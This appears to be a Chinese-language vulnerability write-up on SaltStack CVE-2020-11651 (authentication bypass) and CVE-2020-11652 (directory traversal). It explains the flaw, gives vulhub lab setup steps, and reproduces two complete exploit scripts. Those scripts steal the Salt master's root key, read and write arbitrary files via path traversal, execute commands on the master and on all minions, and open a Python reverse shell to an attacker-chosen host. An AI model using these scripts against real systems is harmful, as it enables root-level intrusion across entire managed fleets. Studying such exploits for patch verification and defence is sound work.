# Saltstack 远程命令执行漏洞 CVE-2020-11651/11652
## 漏洞描述
SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。
在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。
在 CVE-2020-11652 目录遍历漏洞中,攻击者通过构造恶意请求,可以读取、写入服务器上任意文件。
## 漏洞影响
> [!NOTE]
>
> SaltStack Version < 2019.2.4
>
> SaltStack Version < 3000.2 ## 环境搭建 > [!NOTE]
>
> git clone https://github.com/vulhub/vulhub.git
> cd vulhub/saltstack/CVE-2020-11652
> docker-compose up -d
## 漏洞复现
salt-master普遍使用这两行代码进行认证,其中`clear_load`是可控输入点。
“`pyhton
auth_type, err_name, key, sensitive_load_keys = self._prep_auth_info(clear_load)
auth_check = self.loadauth.check_authentication(clear_load, auth_type, key=key)
“`
`_prep_auth_info`首先会识别`clear_load`输入的字段并选用其中之一作为认证方式,然后传参到`check_authentication`方法检验认证是否有效。
在第三种认证方式`auth_type==’user’`中,会由`_prep_auth_info`获取到系统opt的key,传递到`check_authentication`中和API参数中携带的key进行`==`比对。
理论上`_prep_auth_info`是不可被外部调用的,漏洞成因即是攻击者通过匿名API直接调用`_prep_auth_info`方法,在回显中拿到`self.key`,并在后续的请求中使用获取到的key过验证,以root权限执行高危指令。
Mworker daemon进程处理API请求:
“`python
class MWorker(salt.utils.process.SignalHandlingProcess):
“””
The worker multiprocess instance to manage the backend operations for the
salt master.
“””
“`
其中 _handle_clear & _handle_aes 函数分别处理明文和加密指令:
在这里,`self._clear_funcs` 是 `class ClearFuncs` 的实例,在这里API访问者可以无认证调用任意的类函数。
“`python
class ClearFuncs(TransportMethods):
“””
Set up functions that are safe to execute when commands sent to the master
without encryption and authentication
“””
“`
`ClearFuncs._prep_auth_info()`将self.key返回给API造成泄露。攻击者可先通过这一方法拿到key,然后通过认证接口下发shell指令。
之前存在漏洞的代码中仅过滤掉`__`开头的private方法,导致`_prep_auth_info`泄露,patch中对clearfuncs和aesfuncs两个类添加了expose白名单过滤:
这里使用 POC 来复线
下载地址: https://github.com/jasperla/CVE-2020-11651-poc
读取文件 **/etc/passwd**
反弹shell(这里使用另一个POC)
下载地址: https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP/blob/master/CVE-2020-11651.py
## 漏洞利用POC
[下载地址](https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP/blob/master/CVE-2020-11651.py)
“`python
# BASE https://github.com/bravery9/SaltStack-Exp
# 微信公众号:台下言书
# -*- coding:utf-8 -*- –
from __future__ import absolute_import, print_function, unicode_literals
import argparse
import os
import sys
import datetime
import salt
import salt.version
import salt.transport.client
import salt.exceptions
DEBUG = False
def init_minion(master_ip, master_port):
minion_config = {
‘transport’: ‘zeromq’,
‘pki_dir’: ‘/tmp’,
‘id’: ‘root’,
‘log_level’: ‘debug’,
‘master_ip’: master_ip,
‘master_port’: master_port,
‘auth_timeout’: 5,
‘auth_tries’: 1,
‘master_uri’: ‘tcp://{0}:{1}’.format(master_ip, master_port)
}
return salt.transport.client.ReqChannel.factory(minion_config, crypt=’clear’)
def check_salt_version():
print(“[+] Salt 版本: {}”.format(salt.version.__version__))
vi = salt.version.__version_info__
if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)): return True else: return False def check_connection(master_ip, master_port, channel): print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='') sys.stdout.flush() try: channel.send({'cmd': 'ping'}, timeout=2) print('\033[1;32m可以连接\033[0m') except salt.exceptions.SaltReqTimeoutError: print("\033[1;31m无法连接\033[0m") sys.exit(1) def check_CVE_2020_11651(channel): sys.stdout.flush() # try to evil try: rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3) except salt.exceptions.SaltReqTimeoutError: print("\033[1;32m不存在漏洞\033[0m") except: print("\033[1;32m未知错误\033[0m") raise else: pass finally: if rets: root_key = rets[2]['root'] print("\033[1;31m存在漏洞\033[0m") return root_key return None def pwn_read_file(channel, root_key, path, master_ip): # print("[+] Attemping to read {} from {}".format(path, master_ip)) sys.stdout.flush() msg = { 'key': root_key, 'cmd': 'wheel', 'fun': 'file_roots.read', 'path': path, 'saltenv': 'base', } rets = channel.send(msg, timeout=3) print(rets['data']['return'][0][path]) def pwn_getshell(channel, root_key, LHOST, LPORT): msg = {"key": root_key, "cmd": "runner", 'fun': 'salt.cmd', "kwarg": { "fun": "cmd.exec_code", "lang": "python3", "code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{}\",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);".format( LHOST, LPORT) }, 'jid': '20200504042611133934', 'user': 'sudo_user', '_stamp': '2020-05-04T04:26:13.609688'} try: response = channel.send(msg, timeout=3) print("Got response for attempting master shell: " + str(response) + ". Looks promising!") return True except: print("something failed") return False def pwn_exec(channel, root_key, exec_cmd, master_or_minions): if master_or_minions == "master": msg = {"key": root_key, "cmd": "runner", 'fun': 'salt.cmd', "kwarg": { "fun": "cmd.exec_code", "lang": "python3", "code": "import subprocess;subprocess.call('{}',shell=True)".format(exec_cmd) }, 'jid': '20200504042611133934', 'user': 'sudo_user', '_stamp': '2020-05-04T04:26:13.609688'} try: response = channel.send(msg, timeout=3) print("Got response for attempting master shell: " + str(response) + ". Looks promising!") return True except: print("something failed") return False if master_or_minions == "minions": print("Sending command to all minions on master") jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow()) cmd = "/bin/sh -c '{0}'".format(exec_cmd) msg = {'cmd': "_send_pub", "fun": "cmd.run", "arg": [cmd], "tgt": "*", "ret": "", "tgt_type": "glob", "user": "root", "jid": jid} try: response = channel.send(msg, timeout=3) if response == None: return True else: return False except: return False ##################################### master_ip=input('目标IP:') master_port='4506' channel = init_minion(master_ip, master_port) try: root_key = check_CVE_2020_11651(channel) except: pass while master_ip!='': print('1.测试POC 2.读取文件 3.执行命令(无回显) 4.反弹shell 5.退出') whattype=input('请选择:') if whattype=='1': check_salt_version() # 检查salt版本 check_connection(master_ip, master_port, channel) # 检查连接 root_key = check_CVE_2020_11651(channel) # 读取root key print(root_key) elif whattype=='2': path = input('读取路径:') try: pwn_read_file(channel, root_key, path, master_ip) # 读取文件 except: print('文件不存在') elif whattype=='3': print('1.master 2.minions') exectype = input('选择方式:') if exectype=='1': master_or_minions='master' elif exectype=='2': master_or_minions = 'minions' exec_cmd = input('输入命令:') pwn_exec(channel, root_key, exec_cmd, master_or_minions) # 执行命令 elif whattype=='4': LHOST = input('反弹到IP:') LPORT = input('反弹端口:') pwn_getshell(channel, root_key, LHOST, LPORT) # 反弹shell elif whattype=='5': exit() ``` [下载地址](https://github.com/jasperla/CVE-2020-11651-poc/blob/master/exploit.py) ```python #!/usr/bin/env python # # Exploit for CVE-2020-11651 and CVE-2020-11652 # Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc) # This exploit is based on this checker script: # https://github.com/rossengeorgiev/salt-security-backports from __future__ import absolute_import, print_function, unicode_literals import argparse import datetime import os import os.path import sys import time import salt import salt.version import salt.transport.client import salt.exceptions def init_minion(master_ip, master_port): minion_config = { 'transport': 'zeromq', 'pki_dir': '/tmp', 'id': 'root', 'log_level': 'debug', 'master_ip': master_ip, 'master_port': master_port, 'auth_timeout': 5, 'auth_tries': 1, 'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port) } return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear') # --- check funcs ---- def check_connection(master_ip, master_port, channel): print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='') sys.stdout.flush() # connection check try: channel.send({'cmd':'ping'}, timeout=2) except salt.exceptions.SaltReqTimeoutError: print("OFFLINE") sys.exit(1) else: print("ONLINE") def check_CVE_2020_11651(channel): print("[+] Checking if vulnerable to CVE-2020-11651... ", end='') sys.stdout.flush() try: rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3) except: print('ERROR') return None else: pass finally: if rets: print('YES') root_key = rets[2]['root'] return root_key print('NO') return None def check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path): print("[+] Checking if vulnerable to CVE-2020-11652 (read_token)... ", end='') sys.stdout.flush() # try read file msg = { 'cmd': 'get_token', 'arg': [], 'token': top_secret_file_path, } try: rets = channel.send(msg, timeout=3) except salt.exceptions.SaltReqTimeoutError: print("YES") except: print("ERROR") raise else: if debug: print() print(rets) print("NO") def check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key): print("[+] Checking if vulnerable to CVE-2020-11652 (read)... ", end='') sys.stdout.flush() # try read file msg = { 'key': root_key, 'cmd': 'wheel', 'fun': 'file_roots.read', 'path': top_secret_file_path, 'saltenv': 'base', } try: rets = channel.send(msg, timeout=3) except salt.exceptions.SaltReqTimeoutError: print("TIMEOUT") except: print("ERROR") raise else: if debug: print() print(rets) if rets['data']['return']: print("YES") else: print("NO") def check_CVE_2020_11652_write1(debug, channel, root_key): print("[+] Checking if vulnerable to CVE-2020-11652 (write1)... ", end='') sys.stdout.flush() # try read file msg = { 'key': root_key, 'cmd': 'wheel', 'fun': 'file_roots.write', 'path': '../../../../../../../../tmp/salt_CVE_2020_11652', 'data': 'evil', 'saltenv': 'base', } try: rets = channel.send(msg, timeout=3) except salt.exceptions.SaltReqTimeoutError: print("TIMEOUT") except: print("ERROR") raise else: if debug: print() print(rets) pp(rets) if rets['data']['return'].startswith('Wrote'): try: os.remove('/tmp/salt_CVE_2020_11652') except OSError: print("Maybe?") else: print("YES") else: print("NO") def check_CVE_2020_11652_write2(debug, channel, root_key): print("[+] Checking if vulnerable to CVE-2020-11652 (write2)... ", end='') sys.stdout.flush() # try read file msg = { 'key': root_key, 'cmd': 'wheel', 'fun': 'config.update_config', 'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652', 'yaml_contents': 'evil', 'saltenv': 'base', } try: rets = channel.send(msg, timeout=3) except salt.exceptions.SaltReqTimeoutError: print("TIMEOUT") except: print("ERROR") raise else: if debug: print() print(rets) if rets['data']['return'].startswith('Wrote'): try: os.remove('/tmp/salt_CVE_2020_11652.conf') except OSError: print("Maybe?") else: print("YES") else: print("NO") def pwn_read_file(channel, root_key, path, master_ip): print("[+] Attemping to read {} from {}".format(path, master_ip)) sys.stdout.flush() msg = { 'key': root_key, 'cmd': 'wheel', 'fun': 'file_roots.read', 'path': path, 'saltenv': 'base', } rets = channel.send(msg, timeout=3) print(rets['data']['return'][0][path]) def pwn_upload_file(channel, root_key, src, dest, master_ip): print("[+] Attemping to upload {} to {} on {}".format(src, dest, master_ip)) sys.stdout.flush() try: fh = open(src, 'rb') payload = fh.read() fh.close() except Exception as e: print('[-] Failed to read {}: {}'.format(src, e)) return msg = { 'key': root_key, 'cmd': 'wheel', 'fun': 'file_roots.write', 'saltenv': 'base', 'data': payload, 'path': dest, } rets = channel.send(msg, timeout=3) print('[ ] {}'.format(rets['data']['return'])) def pwn_exec(channel, root_key, cmd, master_ip, jid): print("[+] Attemping to execute {} on {}".format(cmd, master_ip)) sys.stdout.flush() msg = { 'key': root_key, 'cmd': 'runner', 'fun': 'salt.cmd', 'saltenv': 'base', 'user': 'sudo_user', 'kwarg': { 'fun': 'cmd.exec_code', 'lang': 'python', 'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd) }, 'jid': jid, } try: rets = channel.send(msg, timeout=3) except Exception as e: print('[-] Failed to submit job') return if rets.get('jid'): print('[+] Successfully scheduled job: {}'.format(rets['jid'])) def pwn_exec_all(channel, root_key, cmd, master_ip, jid): print("[+] Attemping to execute '{}' on all minions connected to {}".format(cmd, master_ip)) sys.stdout.flush() msg = { 'key': root_key, 'cmd': '_send_pub', 'fun': 'cmd.run', 'user': 'root', 'arg': [ "/bin/sh -c '{}'".format(cmd) ], 'tgt': '*', 'tgt_type': 'glob', 'ret': '', 'jid': jid } try: rets = channel.send(msg, timeout=3) except Exception as e: print('[-] Failed to submit job') return finally: if rets == None: print('[+] Successfully submitted job to all minions.') else: print('[-] Failed to submit job') def main(): parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652') parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1') parser.add_argument('--port', '-p', dest='master_port', default='4506') parser.add_argument('--force', '-f', dest='force', default=False, action='store_false') parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true') parser.add_argument('--run-checks', '-c', dest='run_checks', default=False, action='store_true') parser.add_argument('--read', '-r', dest='read_file') parser.add_argument('--upload-src', dest='upload_src') parser.add_argument('--upload-dest', dest='upload_dest') parser.add_argument('--exec', dest='exec', help='Run a command on the master') parser.add_argument('--exec-all', dest='exec_all', help='Run a command on all minions') args = parser.parse_args() print("[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.") time.sleep(1) # Both src and destination are required for uploads if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None): print('[-] Must provide both --upload-src and --upload-dest') sys.exit(1) channel = init_minion(args.master_ip, args.master_port) check_connection(args.master_ip, args.master_port, channel) root_key = check_CVE_2020_11651(channel) if root_key: print('[*] root key obtained: {}'.format(root_key)) else: print('[-] Failed to find root key...aborting') sys.exit(127) if args.run_checks: # Assuming this check runs on the master itself, create a file with "secret" content # and abuse CVE-2020-11652 to read it. top_secret_file_path = '/tmp/salt_cve_teta' with salt.utils.fopen(top_secret_file_path, 'w') as fd: fd.write("top secret") # Again, this assumes we're running this check on the master itself with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd: root_key = keyfd.read() check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path) check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key) check_CVE_2020_11652_write1(debug, channel, root_key) check_CVE_2020_11652_write2(debug, channel, root_key) os.remove(top_secret_file_path) sys.exit(0) if args.read_file: pwn_read_file(channel, root_key, args.read_file, args.master_ip) if args.upload_src: if os.path.isabs(args.upload_dest): print('[-] Destination path must be relative; aborting') sys.exit(1) pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip) jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow()) if args.exec: pwn_exec(channel, root_key, args.exec, args.master_ip, jid) if args.exec_all: print("[!] Lester, is this what you want? Hit ^C to abort.") time.sleep(2) pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid) if __name__ == '__main__': main() ``` ## 参考文章 https://www.cdxy.me/?p=822
请登录后查看评论内容